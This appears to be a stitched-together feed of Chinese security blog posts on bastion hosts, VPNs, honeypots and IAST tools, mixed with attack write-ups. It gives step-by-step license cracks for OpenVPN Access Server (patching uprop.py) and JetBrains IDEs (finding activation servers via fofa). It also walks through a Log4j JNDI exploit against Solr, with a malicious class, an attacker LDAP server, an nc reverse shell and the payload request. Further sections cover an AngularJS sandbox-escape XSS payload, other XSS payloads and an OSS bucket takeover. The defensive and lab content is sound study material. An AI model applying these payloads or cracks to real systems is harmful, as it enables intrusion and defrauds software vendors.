ChatGPT是由OpenAI开发的一种基于大型语言模型的对话系统。它可以回答各种问题并进行交流,为用户提供实时的帮助与解答。而微信公众号是一个非常受欢迎的社交媒体平台,许多企业和个人在其中运营和提供服务。本文将介绍如何将ChatGPT接入微信公众号,让用户可以通过私信与ChatGPT进行交流。
首先,这可以为你的公众号增加一个全新的互动方式。你可以让ChatGPT回答读者的问题,提供更个性化的答案和建议。这样,你的读者不再只是被动地阅读你的文章,而是真正与你的公众号进行互动。
接入ChatGPT也能够为你的公众号带来更多的亮点。想象一下,你的读者可以发送私信给ChatGPT,询问各种问题,不仅限于你之前发布的内容。无论是技术问题、生活琐事还是搞笑段子,ChatGPT都可以给出非常有趣的回答。这样一来,你的公众号将成为读者心中的好玩伙伴,增加用户粘性和留存率。
不过,我们也要注意一点。虽然ChatGPT可以提供智能的回答,但它毕竟是一个机器学习模型,在某些情况下可能会给出不准确或不合理的回答。所以,在使用ChatGPT的同时,你也要进行一定的监控和过滤,确保回答的质量和可靠性。
Pa55w0rd
gpt-3.5-turbo-0613
模型,可以通过#set_gpt_model gpt-4-0613
命令切换gpt-4-0613模型(GPT-4比较慢,也不保证可用),通过#reset_gpt_model
重置默认模型,通过#gpt_model
查看当前模型,通过#reset
重置会话使用chatgpt-on-wechat项目,按照接入文档操作,写的很详细,我是3月21日接入微信,因为微信平均一周掉线一次,到6月16号选择接入公众号,运行很稳定,微信小号也是老号,未发现封号、限制添加好友问题
项目介绍Wechat robot based on ChatGPT, which using OpenAI api and itchat library. 使用ChatGPT搭建微信聊天机器人,基于 GPT3.5/GPT4.0/文心一言 模型,支持个人微信、公众号、企业微信部署,能处理文本、语音和图片,访问操作系统和互联网,支持基于知识库定制专属机器人。
通过将ChatGPT接入微信公众号私信,你可以为你的读者带来更加生动、有趣的互动体验。这不仅能够增加用户的参与度,还能够提高用户粘性和留存率。当然,合理使用ChatGPT的同时,也要注意回答质量和准确性的监控。让我们一起探索,为微信公众号注入无限可能吧!
]]>根据jms 资产授权规则的表单设计宜搭流程表单,因为是自动化,只需要资产对单个用户授权,需要字段 – 规则名称,用户,资产,系统用户,权限,失效日期,备注
审批需要维护一下资产归属人,用户发起申请,由上级主管、资产归属人、运维、安全审批
参考提交表单数据时发起新的流程,将第三方接口进行服务注册,流程设计 - 全局设置 - 节点提交规则 - 关联第三方接口,文档中也有将多个组件处理成formdatajson,方便第三方接口使用
通过从宜搭获取表单自动进行处理,jms提供了接口,用户、资产、资产的系统用户都是通过ID就进行授权的,都是有相关的接口获取,参考jms API 文档,使用管理员的Access Key进行认证
根据用户名获取用户ID
1 | {base_url}&search={username}&offset=0&limit=10 users/?fields_size=mini |
根据IP地址获取资产ID & Platform
1 | {base_url}&search={ip}&offset=0&limit=10 assets/?fields_size=mini |
根据平台获取系统用户ID
1 | {base_url}&search={Platform}&offset=0&limit=10 system-users/?protocol__in=rdp,ssh,vnc,telnet |
提交授权 POST
1 | {base_url}/perms/asset-permissions/ |
从应用安全,做成运维安全了,把最近做的东西总结一下。为啥需要堡垒机就不用多说了,服务器管理存在风险( 多云导致服务器分散、账号混乱定位不明、权限粗放资源滥用、误操作、审计不严取证困难、等保合规要求等),访问服务器存在安全隐患(直接对公网开放22和3389端口、办公网直连、服务器互联等),因此,部署实施堡垒机,利用堡垒机的4A能力(身份鉴别、授权控制、账号管理、安全审计)对特权账号及访问方式进行安全管控。未来所有运维人员需通过堡垒机访问被管控的服务器
官方文档比较完善,参考官方文档就可以了 https://docs.jumpserver.org/zh/master/install/setup_by_fast/
参考官方文档,负载均衡配置 https://docs.jumpserver.org/zh/master/install/setup_by_lb/
我这里mysql/redis使用了云rds和redis
录像存储使用了云OSS,修改路径在会话管理 - 终端管理 - 存储配置 - 录像存储 - 添加 OSS配置,配置完成,更新全部
负载均衡也使用了云SLB,后端部署了2个节点,节点的SECRET_KEY 和 BOOTSTRAP_TOKEN要保持一致,https也是在SLB上做的
1 | # 记录 SECRET_KEY 和 BOOTSTRAP_TOKEN |
参考迁移文档 https://docs.jumpserver.org/zh/master/install/migration/,定期备份数据库
1 | cd /opt/jumpserver-installer-vx/ |
管理文档也很详细 https://docs.jumpserver.org/zh/master/admin-guide/quick_start/
这里记录一下使用技巧
这里通过AD做认证,做LDAP配置,也可以通过标准的OIDC/SAML协议对接SSO
配置连接超时、水印、MFA、登陆验证码、异地登陆保护,如果启用钉钉认证/配置邮箱,异地登陆提醒会发送到钉钉工作通知/邮箱
我们的资产比较混乱了,包括某个公有云上的多个账号,本地机房。资产列表没有细分,根据云账号去创建资产节点
其中多个云账号可通过创建对等连接打通网络,本地机房通过网域网关的方式打通(SSH代理)
因为没有cmdb系统,公有云资产可以通过jms接口自动同步,本地机房资产只能手动维护了,本地机房资产维护还是有点乱,没有单一来源,之前开发自维护,根据业务需求添加
危险命令关联资产或者系统用户
通过宜搭设计审批表单,因为第一次使用,没有考虑自动化
首先通过LDAP同步用户,根据业务线去创建用户组,然后对用户组进行资产授权
翻翻宜搭手册,翻翻jms接口文档
本地机房和办公网隔离,只允许堡垒机跳板机(网域网关)访问
公有云只允许堡垒机和devops系统访问,禁止服务器之间互联
]]>jetbrains的产品大家都不是很陌生,我自己就用过IDEA、PyCharm、PhpStorm、GoLand这几款,专业版首次使用会有30天试用,本着有破解的就不用社区的,有最新版就不用旧版的原则,从网上找到了一些破解方法
通过搜多引擎能搜索到很多破解补丁,如果版本升级了,破解补丁就不能用了,需要重新找对应版本的破解补丁
使用教育邮箱免费注册使用,一年一续,之前使用的是马建军大学的免费教育邮箱注册jetbrains,这个邮箱已经被jb拉黑,不算免费使用了,不清楚现在是否还可以使用
参考大佬 Jetbrains系列产品重置试用方法 ,安装一个插件,配置好,每次重启idea都会重置使用,使用还是很简单,版本升级了也是可以用的,知道2021.3版本发现就不能重置了
重置试用方法不好用了之后,去大佬blog发现有新的免费使用方法了,介绍一个”牛逼闪闪”开源库:ja-netfilter,一个基于javeagent的防火墙,阻止访问在线激活地址
参考【日常分享】- IDEA-JetBrains全系列产品授权,方法,通过fofa寻找激活服务器,
1 | fofa语法: |
随便找一个,激活成功
]]>SPA & fwknop & SDP & Pomerium & IAP & Traefik & KeyCloak & Casbin & ORY Oathkeeper
留坑
]]>VPN是企业内比较重要的一个资产,不能从网上乱下载,去官网看看 https://openvpn.net/,第一次不懂事,不清楚OpenVPN还有商业版,OpenVPN Access Server 和 OpenVPN Community,直接就安装了OpenVPN AS,没有网上说的那么难,还有图形化界面,登陆进行发现2个并发license???去官网注册购买需要花钱???
下载的最新版本的2.10.1,从网上搜了一下,这玩意还有破解版的,试一下最新版能不能破解
参考《XX Access Server 2.9.x 破解在线人数限制》,这是找到的最新的了,发现使用相同的办法,也能破解2.10.1
待破解的文件仍是 pyovpn-2.0-py3.6.egg,解压,反编译pyovpn/lic/uprop.pyc
修改uprop.py,搜索return ret,在上面添加一行ret['concurrent_connections'] = 4096
编译,替换
初始化AS
/usr/local/openvpn_as/bin/ovpn-init
配置VPN 路由、LDAP 、MFA,真丝滑
从官网上找教程
部署参考《openvpn部署》
server端配置文件 /etc/openvpn/server.conf
1 | port 1194 # 监听的端口号 |
防火墙相关配置
1 | # 将 openvpn 的网络流量转发到公网:snat 规则 |
客户端配置文件 config.ovpn
1 | client |
这里参考《openvpn配置ldap》
LDAP接入还是很省事的,安装openvpn-auth-ldap插件
配置 /etc/openvpn/auth/ldap.conf
1 | <LDAP> |
编辑server配置文件,添加
1 | plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so "/etc/openvpn/auth/ldap.conf" |
修改客户端配置
1 | ns-cert-type server |
测试成功
这个有点难啊,一直没有配置成功
参考《OpenVPN启用LDAP+GoogleAuthenticator认证》,
使用了https://github.com/evgeny-gridasov/openvpn-otp插件,一直没有成功,放弃了
参考《OpenVPN+AD+Google authenticator 安装、配置》,使用了google-authenticator-libpam,不是专业运维,配置pam头疼,放弃了
继续搜索可用教程
找到了https://github.com/wheelybird/openvpn-server-ldap-otp,通过docker部署,集成好了ldap和otp,丝滑,简单看了下配置参数,启动容器
1 | docker run \ |
打印客户端配置文件 docker exec -ti openvpn show-client-config
添加OTP docker exec -ti openvpn add-otp-user <username>
where username matches the LDAP username.
还有fail2ban防止暴力破解
测试,登陆成功
偷懒,阿里云都写好了 《客户端远程连接VPC》
]]>clone项目地址:https://github.com/lyy289065406/threat-broadcast
通过Github Actions部署,并自动生成 Github Page 播报页面
博客地址:https://www.pa55w0rd.online/
Github Page
]]>Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
上面从网上找了一段描述,自上周四poc出来之后,波及很广,大家都是加班加点的打补丁,很多SRC纷纷发文称暂不接受该漏洞,到现在,仍有很多带有漏洞的业务跑在互联网上,利用工具如雨后春笋一样,这里随便找了个工具从黑盒层面进行检测,该漏洞的利用方式类似fastjson jndi注入
这里推荐burp插件进行被动扫描,之前尝试写xray poc,发现xray的poc只能fuzz header头,不能遍历参数进行fuzz,burp插件覆盖更全面
自行GitHub搜索 log4jscan
dnslog建议自建或者使用ceye.io,不然大家都是用dnslog.cn,时不时抽风一下,根本无法检测出漏洞
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
使用浏览器访问:
http://192.168.64.128:8983/solr/#/
通过burp扩展插件和dnslog日志查看漏洞信息
这里确认indexInfo参数触发漏洞
参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行
这里先写一个恶意类 Exploit.java,并编译为class文件
1 | import java.io.IOException; |
1 | python -m SimpleHTTPServer 80 //xxx为web端口 |
之前复现fastjson的直接拿过来用
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口 |
nc -lvvp x //x 为恶意类指定的反连端口
发送请求
1 | GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1 |
查看ldap服务器响应
查看web服务响应
查看nc监听,可以看到拿到shell了
这里可以看到拿到shell了,这里吐槽一下某SRC,修复窗口都一周了,补丁没打完,SRC还不收漏洞,低内核版本的linux,可脏牛提权,直接忽略
升级log4j到 2.15.0-rc2以上/添加jvm参数 -Dlog4j2.formatMsgNoLookups=true/使用rasp防护/删除jndilookup都可以
]]>在GitHub发现该漏洞的POC,先弹个计算器试试
1 | GitHub项目地址:https://github.com/lockedbyte/CVE-2021-40444 |
按照GitHub的readme一步步操作
]]>FingerprintJS 是一个浏览器指纹库,可查询浏览器属性并从中计算出散列的访问者标识符。与 cookie 和本地存储不同,指纹在隐身/隐私模式下保持不变,即使浏览器数据被清除。
项目地址:https://github.com/fingerprintjs/fingerprintjs
通过调用该库,会返回一个hash字符串,标识访问用户的唯一值
1 | <script> |
该js放在存在漏洞的页面或者登录后的页面
]]>这里魔改的HFish指的是三斤大佬维护的版本,现在的版本为闭源免费使用。
考虑到蜜罐的使用场景,主要为伪装成开放端口、服务和对外的web服务
经过测试,这个版本的HFish,无法捕获全端口位置扫描,当然可以通过自定义配置端口监听,可实现端口TCP三次握手后的捕获,syn扫描无法捕获
部署在内网,在我看来,不需要太多的交互,低交互蜜罐就够用了,及时发现内网中的异常行为,我在内网部署了一套OpenCanray低交互蜜罐,这里推荐美团大佬 P师傅 p1r06u3
的项目https://github.com/p1r06u3/opencanary_web
,提供了web端管理后台
这篇文章写一下我对web蜜罐的一些想法
web蜜罐,需要一个交互式的web网站,我用了fastadmin框架模拟了一个web后台,申请了一个比较有诱惑力的域名,如admin1、admins、sysadmin、sadmin、adminer、devadmin、testadmin、loginadmin、wpadmin等等,登陆的前端代码注释里面留一下测试账号等等
1 | <!--username:test password:test --> |
这里和HFish 自带的web蜜罐报警不一样,因为是高交互,有后台,这里对暴力破解不会产生报警,只有登陆成功才会触发报警
这样有一个好处就是,对外仅保留web蜜罐,蜜罐上报接口和key不会暴漏
HFish 对于web的上报接口主要有3个
1 | web_url = /api/v1/post/report # WEB蜜罐上报 API |
做一下区分:
其中plug接口用于做攻击行为感知
deep接口用于接收登陆成功
或攻击成功
的告警
web接口用于接收文件操作
、命令监控
、溯源
等信息
这里修改一下deep接口的代码,ip通过表单提交,因为登陆成功和攻击成功,都是在后台上报,无法在客户端获取
/view/api/view.go
1 | func ReportDeepWeb(c *gin.Context) { |
找到后台登陆逻辑/fastadmin/application/admin/controller/Index.php
1 | public function login(){ |
这里参考:HFish 插件 (任意站点,皆可蜜罐),通过nginx + lua,将请求头和请求体发送到蜜罐,就是存放完整的访问日志,在检测到攻击告警时,通过分析日志来判断攻击者做了什么操作
这里省事,直接安装OpenResty
这里从docker镜像里,把lua脚本扒出来
1 | local cjson = require "cjson" |
nginx配置文件添加
1 | set $hfish_name '攻击行为感知'; # 插件名称 |
攻击行为感知
后台登陆成功,这里可以配合企业微信/钉钉/飞书自动告警及时响应
通过nginx + lua实现更多的功能
参考:蜜罐背后的影子系统探秘 https://cloud.tencent.com/developer/article/1045869
参考:Juggler - 一个也许能骗到黑客的系统 https://github.com/C4o/Juggler
一般场景下我们会在内部部署蜜罐系统,当外部有渗透时,碰到蜜罐就会报警,蜜罐会去检索攻击源的位置,确定别攻击机器的IP端口,取得payload数据,配合IDS我们可以捕获事件的过程,然后采取对应防御措施。还有一种办法,我们可以在蜜罐被触碰的时候,把流量引入到一台具体的机器上,伪装成一个正常的服务,像侦查机一样,收集攻击服务。我们以WEB服务为例,有一个接近真实的HTTP服务器,主动或是被动的配合蜜罐收集更多的数据,当蜜罐发现威胁IP时,运用动态迁移技术,将威胁服务引到到一个提新预备好的WEB服务,记录攻击行业,还原威胁事件。
负载均衡和灰度测试的WEB服务就是根据特定的用户和被访问机器的负载情况,决定将用户的请求切入到那台服务上。我们也用这种技术, 对有可以行为的攻击请求,进行环境切换。
我们用Openresty的上流反向代理来实现这种模式。
]]>公众号链接:魔改HFish - 溯源(JSONP漏洞利用)
博客链接:JSONP劫持
]]>转发:https://www.v2ex.com/t/599168
通过插件可以 100% 的让任意 WEB 服务成为蜜罐
HFish
插件是基于 Nginx + Lua
进行实现的 任意站点,皆可蜜罐
的牛逼思路!
目前已经打包好了 Docker
镜像,通过 hfishs/hub
可以快速让任意站点当成自己蜜罐。
只提供三种使用场景,更多场景自行思考
搭建开源 CMS
程序,获取最新的 0Day
快速集成企业内部 WEB 服务,搭建 密网环境
通过一些技术手段,实现主动攻击型 蜜罐
只提供三种部署方案,更多部署根据实际情况进行搭建
直接 反代域名
,让互联网站点成为蜜罐
通过 域名解析
物理机 WEB 服务,成为蜜罐 (不安全)
搭建 Docker 集群
, 通过 hfishs/hub 插件成为蜜罐 (安全)
Docker 镜像地址:https://hub.docker.com/r/hfishs/hub
因为现在网站大多都做了防盗链机制,这种方式不采用了
1 | server { |
洞态IAST上线有一段时间了,基于被动式IAST技术,高检出率和低误报率等特点,很好的集成到devops流程中,增加我们的效率,然而每次发现漏洞后没有及时查看导致漏洞处理上的滞后,这里通过钉钉群里机器人做自动化告警,使IAST使用上闭环起来
群里机器人文档:https://developers.dingtalk.com/document/robots/custom-robot-access
介绍了如何接入、消息类型、数据格式和错误代码排查等使用上的问题
这里获取了钉钉机器人的webhook,复制下来,在安全设置中,添加关键词用来接收告警
1 | webhook = https://oapi.dingtalk.com/robot/send?access_token=xxx |
通过洞态服务架构了解,DongTai-engine 服务是用来漏洞检测的,根据调用方法数据和污点跟踪算法分析HTTP/HTTPS/RPC请求中是否存在漏洞,通过代码发现火线团队已经在代码中预留了发送漏洞告警的方法
1 | DongTai-engine/signals/handlers/vul_handler.py 的 send_vul_notify() |
我们接入钉钉告警机器人就放到这个方法里
这里可以看到,传入了一个vul参数,由handler_vul()
调用 send_vul_notify()
, 看上面的注释,vul参数的数据格式
1 | http_url: 漏洞所在url |
因为我们只是自己用,就不做交互处理,直接写死到代码中
钉钉机器人支持@人,这里可以根据不同业务线设置不同告警接收人
1 | # 新增业务线告警接收人 |
然后修改 handler_vul()
方法
1 | if vul: |
阿里云对象存储OSS(Object Storage Service)是一款海量、安全、低成本、高可靠的云存储服务,提供99.9999999999%(12个9)的数据持久性,99.995%的数据可用性。多种存储类型供选择,全面优化存储成本。
访问某域名,提示 NoSuchBucket
获取信息,这个桶不存在
HostId : baobao-tb.oss-cn-shenzhen.aliyuncs.com
BucketName : baobao-tb
登陆阿里云,访问(OSS管理控制台)[https://oss.console.aliyun.com/overview]
注意填写Bucket 名称和地域,和上面获取的信息保持一致
查看 Bucket 域名,可以看到创建成功
访问左侧菜单,选择上传文件,上传HTML文件,文件ACL 选择公共读就可以了
访问该该地址,发现已经劫持成功
]]>AWVS作为黑盒测试,主动扫描的比较好用的工具,碰到部分网站扫描结果一堆漏洞,部分漏洞复现比较难,这里找了几个常见的,以往一直忽略的漏洞,详细研究一下,到最后成功复现
其中1、2、4漏洞比较难以复现,大家一般都是当作误报处理,这里记录一下
因使用汉化版,部分漏洞描述翻译可能存在问题,请忽略
此 Web 应用程序容易受到 AngularJS 客户端模板注入漏洞的攻击。当用户输入动态嵌入到使用 AngularJS 客户端模板的页面上时,会发生 AngularJS 客户端模板注入漏洞。通过使用大括号,可能将 AngularJS 表达式注入应用程序正在使用的 AngularJS 客户端模板中。这些表达式将由 AngularJS 在客户端进行求值,当与沙箱转义结合使用时,它们将允许攻击者执行任意 JavaScript 代码。
发现者 AngularJS 客户端模板注入
攻击者可以注入 AngularJS 表达式,这些表达式将在客户端进行评估。AngularJS 表达式通常并不是很危险,但是当与沙箱转义结合使用时,它们可使攻击者能够执行任意 JavaScript 代码。
攻击者不可能使用大括号插入 AngularJS 表达式。应用程序需要将用户输入中的大括号视为高度危险,或者完全避免在服务器端反射用户输入。
URL: https://xx.com/forget_pass.html
Parameter: phone
URL encoded GET 输入 phone 已设置为 1zmvpmtruem5van。此输入已反映在 AngularJS 模板中。
这里访问URL可以看到,phone内容作为模板,动态生成HTML代码
访问:https://xx.com/forget_pass.html?phone=13111{{8/2}}11111
执行了运算 8/2 观看页面中手机号变成了13111411111
, 这里可以确定存在模板注入,下面来进一步利用一下
一般都是注入js代码,类似XSS效果弹个窗口
这里看了下AngularJS版本为1.5.5
1.5.5版本存在沙箱,需要绕过沙箱,这里从网上找到对应版本绕过沙箱方法
1 | {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(/xss/),a')}}');}} |
成功复现弹窗
此脚本可能容易受到跨站脚本 (XSS) 攻击的攻击。
跨站脚本(也称为 XSS)是一个漏洞,允许攻击者向其他用户发送恶意代码(通常是 Javascript 的形式)。因为浏览器无法知道脚本是否可信,它将在用户上下文中执行脚本,这样,攻击者就可以访问浏览器保留的任何 cookie 或会话令牌。
传统的跨站点脚本漏洞发生在服务器端代码上,而基于文档对象模型的跨站点脚本是会影响客户端浏览器中脚本代码的漏洞类型。
发现者 DOM 型跨站脚本
Malicious 用户可以将 JavaScript、VBScript、ActiveX、HTML 或 Flash 注入至易受攻击的应用程序,欺骗用户,以从这些用户处收集数据。攻击者可以窃取会话 cookie 并掌控帐户,以冒充用户,还可能修改用户能够看到的页面内容。
您的脚本应筛选来自用户输入的元字符。
URL: https://xx.com/
Parameter: window.location
这里访问URL, 确定输出位置https://xx.com/?wvstest=javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")#javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")
查看 addFav(),通过window.location.href 获取当前页面的URL,然后写入到html中
1 | function addFav(t) { |
最后结果
1 | <a href="https://xx.com/?wvstest=javascript:domxssExecutionSink(1,%22%27\%22%3E%3Cxsstag%3E()locxss%22)#javascript:domxssExecutionSink(1,%22'\%22%3E%3Cxsstag%3E()locxss%22)" title="" rel="sidebar" onclick="if(UA.indexOf('chrome') != -1){alert('请按快捷键Ctrl+D收藏本页,谢谢');return false;}window.external.addFavorite(this.href, this.title);return false;">收藏本页</a> |
因a标签的href属性里面,对字符进行了url编码,没有绕过,这里先研究一下onclick里面的内容,先美化一下代码,这里可以看到判断为chrome浏览器直接退出,其他浏览器点击会添加到收藏,这里还是没有触发XSS
1 | if (UA.indexOf('chrome') != -1) { |
这里想到之前碰到过的XSS,chrome等浏览器会自动把参数进行url编码,这里换成IE内核的,IE浏览器不会自动url编码的
想到这里,打开IE,禁用XSS筛选器
访问 https://xx.com/#"><svg/onload=alert(/xss/)> 成功发现弹窗
这里吐槽一下,为啥别人扫出来的漏洞直接就能复现,我扫出来的漏洞那么波折呢
跨站点脚本 (XSS) 是指客户端代码注入攻击,其中,攻击者可以将恶意脚本执行到合法的网站或 Web 应用程序中。当 Web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生 XSS。
发现者 跨站脚本
恶意 JavaScript 可以访问与网页其余部分相同的所有对象,包括访问 cookie 和本地存储(通常用于存储会话令牌)。如果攻击者可以获取用户的会话 cookie,则他们可以冒充该用户。
此外,JavaScript 可以读取向用户显示的页面内容并进行任意修改。因此,XSS 与一些巧妙的社会工程技术相结合,为攻击者带来了很多可能性。
对页面上呈现的用户输入应用上下文相关编码和/或验证
URL: https://xx.cn/index?returnUrl=
Parameter: returnUrl
returnUrl? 这里一般都会存在URL重定向漏洞吧,使用浏览器访问该URL,构造XSS查看结果
这一看结果,返回内容在json里面,Content-Type
也是 application/json
,咋个绕过
咨询大佬,回应说是应该是IE特定条件下能触发,具体也不清楚
这里使用IE浏览器访问,结果直接就弹出是否下载了json文件
通过百度,搜索关键字,发现需要修改注册表,添加json的mime类型
支持
如何修改自行百度吧
然后禁用IE浏览器的XSS筛选器,成功弹窗
之前一直认为AWVS误报挺多的,这次扫描,比较严重的漏洞都成功复现了,当然漏洞影响有限,还浪费了很多查资料的时间,这里记录一下,方便以后使用,后续也会持续更新,补充一些新的漏洞。
]]>IAST作为开展sdl中黑白盒测试的有效补充,还是很有必要去了解使用的。笔者为了完善公司的SDL流程,调研了开源的IAST产品进行测试和内部推广
刚开始,笔者测试百度OpenRASP的IAST功能(主动式IAST),OpenRASP的IAST通过对agent采集到的流量数据进行重放,根据hook点信息做选择性的扫描;与主动式漏扫相比,这种方式减少了很多请求,但是也会存在少量的脏数据,对测试不是很友好;OpenRASP的扫描器支持配置URL白名单,笔者通过对eidt、add、logout等接口加白,基本上解决了脏数据的问题,但是出现了很多漏报,而且基于重放HTTP请求的检测方式,对存在签名、防重放之类,无法进行HTTP请求重放的接口来说,基本无法进行扫描。
然后,看到火线开源了洞态IAST(被动式IAST),本地化部署及测试之后,发现比较符合预期,于是开始做各业务线的推广,与DevOps流程进行集成,目前已实现了新上线项目的IAST自动化部署。
关于洞态IAST介绍,可以直接查看官方文档,接下来,主要分享一下IAST部署及其与DevOps集成的方案。
“火线~洞态IAST”共有五个模块,分别是DongTai-webapi
、DongTai-openapi
、DongTai-engine
、DongTai-web
、agent
,其中:
agent为各语言的数据采集端,从安装探针的项目中采集相对应的数据,发送至DongTai-openapi
服务
DongTai-web 为“火线~洞态IAST”的前端项目,负责页面展示
DongTai-webapi用于与DongTai-web
交互,负责处理用户相关的API请求
DongTai-openapi用于与agent
通信,处理agent上报的数据,向agent下发策略,控制agent的运行等
DongTai-engine用于对DongTai-openapi
接收到的数据进行分析、处理,计算存在的漏洞和可用的污点调用链等
五个服务之间存在依赖关系,部署时,需按照以下顺序进行部署:
DongTai-webapi
DongTai-openapi
DongTai-engine
DongTai-web
agent
服务器信息
1 | 操作系统:CentOS Linux release 7.9.2009 (Core) |
拉取洞态项目代码后,执行build.sh
脚本,一键部署docker
环境(因为网络问题,代码总是拉取失败,根据shell脚本手动部署一下)
1 | 拉取最新的代码 |
1 | docker network rm dongtai-net || true |
1 | 进入DongTai项目下,使用docker启动mysql |
1 | 进入DongTai项目下,使用docker启动redis |
1 | 进入DongTai-webapi项目下 |
1 | cd DongTai-openapi |
1 | cd DongTai-engine/ |
1 | cd DongTai-engine/ |
1 | cd DongTai-web |
确保安全组或防火墙开启80、8000端口
浏览器访问:http://x.x.x.x 访问dongtai-web
服务(默认用户名/密码:admin、admin),登陆后及时修改密码,在系统配置 - 密码修改处修改密码,然后做好安全组策略,防止恶意扫描
组织管理中,可以新增子部门及普通用户,方便后续分工;子部门用于区分应用所属业务线,每个业务线分别生成属于自己的agent
管理后台部署完成后,接下来就需要带着分管安全的leader去找每条业务线研发leader、测试、应用运维,去了解一下现有的网络架构,笔者公司的测试服务均跑在K8S上,Java版本为1.8。
进入管理后台,右上角部署IAST
选择应用运行环境,目前我们Java的服务都通过maven打包成jar包,通过java -jar
命令的方式启动,项目名称可以保持默认,我们所有的服务均在CD阶段
通过传参的方式指定
最后获取下载脚本,这里去掉projectNmae参数,下载agent
1 | curl -X GET "http://x.x.x.x:8000/api/v1/agent/download?url=http://x.x.x.x:8000&jdk.version=Java%201.8" -H 'Authorization: Token xxx' -o agent.jar -k |
2.1 启动命令添加配置,启动洞态IAST
1 | java -javaagent:./agent.jar -Dproject.name=test -Diast.server.mode=local -jar app.jar |
2.2 出现Engine opened successfully
日志时,表示洞态IAST启动成功
1 | [cn.huoxian.dongtai.iast] The engine configuration file is initialized successfully. file is \config\iast.properties |
2.3 打开管理后台,选择项目配置 - 新建项目,配置项目名称为test,添加扫描策略
Note: 启动服务时,配置了参数-Dproject.name=test
,所以,``agent会自动关联至
test`项目中,不需要人工配置
目前IAST项目是以业务线进行分组,在管理后台 - 项目配置 - 新建项目,添加项目,项目名称对应各个业务线简称,在启动服务时,通过配置-Dproject.name=$业务线
将agent自动关联至项目中
将agent打包到公共基础镜像,按照jenkins原来的基础镜像进行选择即可
基础镜像 java:1.8-sec-agent
Dockerfile = "FROM reg.xx.com/base/java:1.8-sec-agent”
1 | cd /data/build/k8s/test/$业务线/ |
经测试,服务运行均正常
笔者与运维开发沟通后,修改自动化发布流程及脚本,对测试环境中新增的Java服务,将自动集成洞态IAST,确保agent覆盖率,目前已基本实现测试服务的覆盖。
]]>之前测试了AWVS扫描器的IAST功能,使用上不是很方便,需要对每个服务启动一个扫描任务才可以进行扫描,比较主动,无法作为独立的被动式扫描器使用,脏数据也是比较多
对比awvs和netsparker,在前后端分离场景下,awvs扫描器可以分析swagger文件进行全接口自动化安全扫描,开发人员可以使用该功能增加后端系统的安全测试效率。在多人协作的测试场景下,netsparker扫描器可以开启代理端口,充分导入有效流量进行自动化安全测试,发现隐蔽的安全漏洞
破解版下载https://pan.baidu.com/s/18lY8xIXoQDcfLRqKFah9kQ 提取码:6cvp
Netsparker Professional Edition v6.0.0.29750 [ Licensed ]
Windows双击安装,打开
Netsparker Shark
使您可以在Web应用程序中进行交互式安全测试(IAST)
,以确认更多漏洞并进一步减少误报。为了使Netsparker Shark
能够运行,您需要下载一个代理并将其部署在您的服务器上。请注意,出于安全原因,该代理是为每个目标网站唯一生成的。
参考官方文档进行安装 https://www.netsparker.com/support/deploying-netsparker-shark-for-java-windows/
添加扫描目标 - http://192.168.244.129:8080/
选择扫描设置 - Shark - 勾上enable shark,选择服务平台 java,保存为shark.jar
这里使用和awvs类似
1 | 1. Deploying AspectJWeaver into your web application |
1 | 3. Configuring Tomcat to use AspectJWeaver and Shark |
这里也在配置awvs时配置过了,跳过
Restart the Tomcat service
The parameter “-Dacusensor.debug.log=ON” is optional and can be omitted. If this parameter is retained, this will output the Shark logging as additional lines in the Tomcat logs starting with “[Netsparker-debug]”.
Disabling and Removing Netsparker Shark for Java
To remove and disable the sensor from your website, you need to revert the changes done during the deployment of the Agent.
Although the Netsparker Shark agent is secured with a strong password, it is recommended that the Shark client files are uninstalled and removed from the web application if they are no longer in use.
配置完成之后如果直接点击start scan
,会类似AWVS的iast一样,先通过dast,然后再通过iast增加漏洞的准确性,这里依然会产生大量请求和脏数据
这里有一个代理模式,选择
首次打开会弹出安装证书
打开浏览器,设置代理, 10010端口,访问待测系统
流量抓取完成,开始扫描
这里单独使用iast的sql注入规则,产生8条脏数据
IAST相关规则
]]>很久没有更新blog了,这次把几个笔记分享一下,AWVS自带的IAST功能,很多人都不知道,这里记录一下IAST如何使用
这里笔记写的较早,版本还是awvs13
1 | pull 拉取下载镜像 |
浏览器访问
https://192.168.244.130:13443/#/login
AcuSensor 允许扫描程序从您的 PHP、.NET 或 Java web 应用程序收集更多信息,用于改善扫描结果,并减少误报。请于运行 Web 扫描前,下载并安装与目标对应的 AcuSensor。
注意:避免在生产系统中使用 AcuSensor。
使用介绍:https://www.acunetix.com/support/docs/installing-acusensor/
针对JAVA程序使用:https://www.acunetix.com/support/docs/installing-acusensor-java/
传感器是针对每个网站唯一生成的
Acunetix JAVA Acusensor需要Tomcat(7+)和Java(1.7+)
Java AcuSensor要求:
将Aspectjweaver.jar
部署到您的Web服务器中-提供AcuSensor
与您的应用程序一起使用所需的集成
将Acunetix Java AcuSensor
部署到Web服务器中-这对于每个Target都是唯一的,可以使用“下载JAVA AcuSensor
”按钮进行下载
配置您的Web服务器以使用加载时间编织(AspectJWeaver
)
https://www.acunetix.com/support/docs/wvs/deploying-acusensor-java-centos-rhel/
1 | 2.3.1 Deploying AspectJWeaver into your web application |
注:官方案例中使用tomcat9 ,本地tomcat8中未找到改sh文件
这里在catalina.sh中cygwin=false这行上面加入以下代码
JAVA_OPTS="$JAVA_OPTS -javaagent:/www/server/tomcat/lib/aspectjweaver.jar -Dacusensor.debug.log=ON"
